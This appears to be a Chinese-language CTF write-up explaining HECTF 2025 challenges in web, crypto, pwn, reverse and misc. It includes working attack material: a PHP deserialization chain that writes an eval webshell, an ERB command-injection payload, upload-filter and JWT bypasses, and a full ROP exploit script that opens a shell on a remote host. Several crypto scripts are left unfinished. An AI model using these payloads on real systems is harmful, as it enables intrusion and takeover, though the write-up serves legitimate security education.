HECTF 2025 CTF 竞赛题目详解与教学
概述
HECTF 2025 是一场涵盖多个技术领域的网络安全竞赛,题目涉及 Web 安全、密码学、逆向工程、Pwn 等多个方向。本文将详细解析各个题目的解题思路和技术要点,帮助读者深入理解相关安全技术。
Web 安全题目
题目一:数据库管理系统
题目背景
该系统存在文件参数泄露漏洞,但只能读取 Nginx 的日志文件 access.log。通过分析日志内容获取登录凭证,进入后台后存在文件上传和 ZIP 解压功能。
解题步骤
1. 获取登录凭证
- 分析
access.log文件,查找登录请求记录 - 对 URL 编码的内容进行解码,获取明文账号密码
2. 文件上传绕过技术
- 后端对上传文件有严格限制:检查文件后缀和文件内容
- 文件内容必须包含常见图片文件头(如
GIF89a)
3. 攻击方法一:软链接利用
# 创建指向 /flag 的软链接
ln -s /flag ans
# 压缩软链接文件
zip --symlinks exploit.zip ans
# 添加图片文件头
echo -n "GIF89a" | cat - exploit.zip > payload.jpg
- 上传后解压,访问
/avatars/ans获取 flag
4. 攻击方法二:Webshell 上传
- 创建包含一句话木马的 PHP 文件
- 压缩后添加图片文件头上传
5. 前端绕过技巧
- 修改 HTML 代码,在解压下拉框中添加选项:
<option value="xxx.jpg">xxx.jpg</option>
- 通过浏览器开发者工具修改本地 HTML 内容
6. 解压过程拦截与修改
- 使用 Burp Suite 拦截解压请求
- 修复被置空的
extract_zip参数 - 成功解压后访问对应路径获取 flag
技术要点
- 文件类型混淆攻击
- 软链接在压缩文件中的利用
- 前端验证绕过技术
- 请求拦截与参数修改
题目二:像素战士
解题步骤
- 第一关:修改前端
courage参数值为 100000 - 第二关:修改 Cookie 中的
user值为vip - 第三关:JWT 伪造
- 密钥为 "HECTF" 的大小写组合
- 使用工具爆破密钥
- 修改 session 有效期和身份信息
技术要点
- 客户端参数篡改
- Cookie 操作
- JWT 结构分析与伪造
题目三:PHPGift
题目分析
考察 PHP 反序列化漏洞利用,需要构造特定的反序列化链。
源码关键类分析
class Logger {
private $logFile;
private function log($message) {
file_put_contents($this->logFile, $message, FILE_APPEND);
}
public function __invoke($msg) {
$this->log($msg);
}
}
class UserProfile {
public $name;
public $email;
public function __toString() {
return "User: {$this->name} ({$this->email})";
}
}
class MathHelper {
private $factor = 1;
public function __invoke($x) {
return $x * $this->factor;
}
}
反序列化利用链构造
<?php
class Logger {
private $logFile = "shell.php";
}
class User {
public $data;
public $params;
}
class FileHandler {
private $fileHandle = null;
private $fileName;
public function __construct($obj) {
$this->fileName = $obj;
}
}
// 构造利用链
$logger = new Logger();
$user = new User();
$user->data = [$logger, "__invoke"];
$user->params = '<?php @eval($_POST[1]);?>';
$top = new FileHandler($user);
echo base64_encode(serialize($top));
?>
技术要点
- PHP 反序列化漏洞原理
- 魔术方法利用(
__invoke,__toString) - 利用链构造技巧
- 文件写入 Webshell
题目四:老爷爷的金块
直接通过游戏通关获得 flag:
HECTF{D0_y0u_sti11_remem3er_me_1_am_g01d_miner_l0ng_time_n0_see}
题目五:红宝石的恶作剧
Ruby ERB 模板注入
- 输入
env查看环境信息,确认 Ruby 环境 - 利用 ERB 模板注入执行系统命令
Ruby 命令执行方法
`command` # 反引号执行命令
system("command") # system 方法执行
%x{command} # %x 语法执行
利用Payload
%x{cat /f*}
最终获得 flag:HECTF{1bffdda743011e-9bd222f75db7c01-9a152b72e1b1eba}
密码学题目
题目一:下个棋吧
题目信息
- 密文:
RERBVkFGR0RBWHtWR1ZHWEFYRFZHWEFYRFZWVkZWR1ZYVkdYQX0= - 密钥:
CHESS
解题步骤
- Base64 解码得到初步密文
- 使用棋盘密码(Playfair Cipher)解密
- 将 flag 转换为大写
最终 flag:HECTF{1145145201314}
题目二:simple_math
题目分析
RSA 相关数学题目,涉及大数分解和数学计算。
解题代码框架
import sys
from math import isqrt
from Crypto.Util.number import long_to_bytes, inverse
# 兼容性 isqrt 实现
def isqrt(n):
if n < 0: raise ValueError
if n == 0: return 0
x = int(n ** 0.5)
if (x+1)**2 <= n: x = x + 1
return x
# 题目数据
c = 5573794528528829992069712881335829633592490157207670497446565713699227752853445149101948822818379411492395823975723302499892036773925698697672557700027422
n = 6060692198787960152570793202726365711311067556697852613814176910700809041055277955552588176731629472381832554602777717596533323522044796564358407030079609
bits = 128
B = 1 << bits
# 因数恢复算法
P_low = n % B
approx_P_high = n // (B**3)
# 在估算值附近搜索真实值
for offset in range(-100, 101):
P_high = approx_P_high + offset
# ... 继续分解过程
最终 flag:HECTF{this_is_a_flag_emm_is_a_true_flag_ok_all_right}
题目三:ez_rsa
题目分析
涉及 RSA 公共模数攻击或相关漏洞。
解题代码框架
import math
from Crypto.Util.number import long_to_bytes, inverse, isPrime
def get_next_prime(n):
if n % 2 == 0: n += 1
else: n += 2
while not isPrime(n):
n += 2
return n
def continued_fraction(n, d):
while d:
q = n // d
yield q
n, d = d, n % d
def convergents(n, d):
h1, k1 = 1, 0
h2, k2 = 0, 1
for q in continued_fraction(n, d):
h1, h2 = q * h1 + h2, h1
k1, k2 = q * k1 + k2, k1
yield h1, k1
# 题目数据
c1 = 53794102520259772962649045858576221465470825190832934218429615676578733090040151233709954118823187509134204197900878909625807999086331747342514637503295791730180510192956834523005990404866445713234424086559831376810175311081520383413318056594422752551500083114685166907745013622324855991979140245907218436391231529893571051805289332021969063468163881523935479367416921655014639791920
c2 = 9052082423365224257952169727471511116343636754632940194264502704697852932532482639724493657103678314302886687710898937205955106008040357863303819909329575056725102501066300771840780970209680697874184954776520388520912958918609760491518738565339512830340891355495761329325539914537183981946727807621066415407718405281155516000986687797150964327740274908804298880671020463280815846412
n1 = 98883753407297608957629424865714335053996022388238735569824164507623692527853962975392303234473035916456899244665285221847772940522588864849967816934720547920870269288918027227609323674530533210183199265184870283022950180411036770713693931074212919932370249829101629879564811122352724775705189146681235092749483273337940646214392591186563201709371435197518622209250725811137856196641
n2 = 52847447490004248309003888295738534958949920800650087542364666545481208701251931880585683578162296213389552561184640931603466477091024928446523302557870614402843171797849560571453293858739610330175253863157533028976216594152329043556996573601155253747817112184987205405092446153491574442703185973485274472403444657880456022918181503181300476227341269990508005711171556056777832920469
e = 65537
最终 flag:HECTF{cRoss_0v3r_v&ry_yOxi}
题目四:ez_ecc
椭圆曲线密码学题目
给定曲线上的点坐标,需要恢复曲线参数并求解。
解题代码框架
# 手动实现 long_to_bytes
def long_to_bytes(n):
return int(n).to_bytes((n.bit_length() + 7) // 8, 'big')
# 题目数据
P2 = (14964670759245329390375308321411786978157102161189322115734645373169213999800, 15559632617790587507311758059936601413780195603883582327743315824295031740424)
PQ = (51100085833472068924911572616418783709145128504503165799653950174447959545831, 34374474833785437488342051727913857907583782324172232648593714071718811330923)
Q2 = (58182088469274002379975156536635905530143308283684486683439461054185269349870, 60318982918282038994679589134874004093617373250696961967201026789735803518347)
# 恢复曲线参数 p 和 b
def get_val(point):
x, y = point
return y**2 - x**3 - x
v1 = get_val(P2)
v2 = get_val(PQ)
v3 = get_val(Q2)
# 计算 p 作为差值的最大公约数
p = gcd(v1 - v2, v2 - v3)
b = v1 % p
# 点减半算法
def solve_half_point(TargetPoint):
# 实现点减半逻辑
pass
MISC 杂项题目
题目一:签到
题目分析
Emoji 替换密码,需要将 Emoji 序列映射为字母。
已知映射关系
- c = 🎹🎹🎹
- t = 🏀🏀🏀
- f = 🌺🌺
- i = 🎵🎵🎵
- l = 🍑🍑🍑
- o = 🎲🎲🎲
- v = ⚽⚽⚽
- e = 🍉🍉🍉
- u = 🚃🚃🚃
完整映射表
🌹 = h
🍉 = e
🎹 = c
🏀 = t
🌺 = f
🚇 = w
🍑 = l
🎲 = o
⚾ = m
🏉 = p
💎 = y
🚃 = u
🏓 = a
🌾 = n
🍇 = j
🎵 = i
解密过程
密文:🌹🌹🍉🍉🎹🎹🏀🏀🌺🌺{🚇🚇🍉🍉🍑🍑🎹🎹🎲🎲⚾⚾🍉🍉_🏀🏀🎲🎲_🌹🌹🍉🍉🎹🎹🏀🏀🌺🌺_🌹🌹🎲🎲🏉🏉🍉🍉_💎💎🎲🎲🚃🚃_🎹🎹🏓🏓🌾🌾_🍉🍉🌾🌾🍇🍇🎲🎲💎💎_🎵🎵🏀🏀}
解密后:hectf{welcome_to_hectf_hope_you_can_enjoy_it}
Pwn 题目
题目一:nc
解题步骤
- 分析日志发现上传请求:
POST /01/data/upload/ HTTP/1.1 - 随后访问病毒文件:
GET /01/data/upload/upd0te.php - 病毒文件名为
upd0te.php - 第二关通过输入特定序列(1, 0, 3)通过
题目二:shop
漏洞分析
- 程序存在栈溢出漏洞
- 输入正确的密码和账户后触发 gets 函数溢出
Exploit 代码
#!/usr/bin/python3
from pwn import *
context(log_level="debug", os="linux", arch="amd64")
def exploit():
p = remote("8.153.93.57", 32737)
elf = ELF('./shop')
libc = elf.libc
# 第一阶段:泄漏 libc 地址
p.recvuntil("Enter choice: ")
p.sendline('2')
p.recvuntil("admin password:\n")
p.sendline('shopadmin123')
p.recvuntil("amount:\n")
p.sendline('-1')
p.recvuntil("product name:\n")
p.sendline('nono')
p.recvuntil("product price:\n")
p.sendline('1')
p.recvuntil("Enter purchase description:\n")
# ROP 链泄漏 puts 地址
rdi = 0x0000000000401240
puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]
main = 0x401413
payload = b'a' * 0x58 + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
p.sendline(payload)
# 计算 libc 基址
leak = u64(p.recv(6).ljust(8, b'\x00'))
libc.address = leak - libc.sym['puts']
# 第二阶段:获取 shell
p.recvuntil("Enter choice: ")
p.sendline('2')
p.recvuntil("admin password:\n")
p.sendline('shopadmin123')
p.recvuntil("amount:\n")
p.sendline('-1')
p.recvuntil("product name:\n")
p.sendline('nono')
p.recvuntil("product price:\n")
p.sendline('1')
p.recvuntil("Enter purchase description:\n")
# 执行 system("/bin/sh")
binsh = next(libc.search(b"/bin/sh"))
system = libc.sym["system"]
ret = 0x04014F0 # 栈对齐
payload = b'a' * 0x58 + p64(rdi) + p64(binsh) + p64(ret) + p64(system)
p.sendline(payload)
p.interactive()
if __name__ == '__main__':
exploit()
技术要点
- 栈溢出原理
- ROP 链构造
- Libc 地址泄漏
- 栈对齐问题处理
Reverse Engineering 逆向工程
题目:eazyree
题目分析
- 程序使用自定义 Base64 编码表
- 编码表:
ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba9876543210 - 密文:
HVEWEVA2w7EhBaYgN809NU0bACBaxqMoC6xdxqUpC6tcvWU0
解题方法
使用 CyberChef 或自定义解码脚本,应用自定义编码表进行 Base64 解码。
总结
本教学文档详细分析了 HECTF 2025 竞赛中的各个题目,涵盖了以下重要技术点:
- Web 安全:文件上传绕过、日志分析、软链接利用、反序列化漏洞
- 密码学:Base64 变种、棋盘密码、RSA 数学问题、椭圆曲线密码
- 逆向工程:自定义编码算法分析
- Pwn:栈溢出利用、ROP 链构造、Libc 地址泄漏
- 杂项:替换密码分析、Emoji 编码
通过这些题目的学习,可以深入了解现代 CTF 竞赛中常见的安全技术和解题思路,为后续的安全研究和竞赛参与打下坚实基础。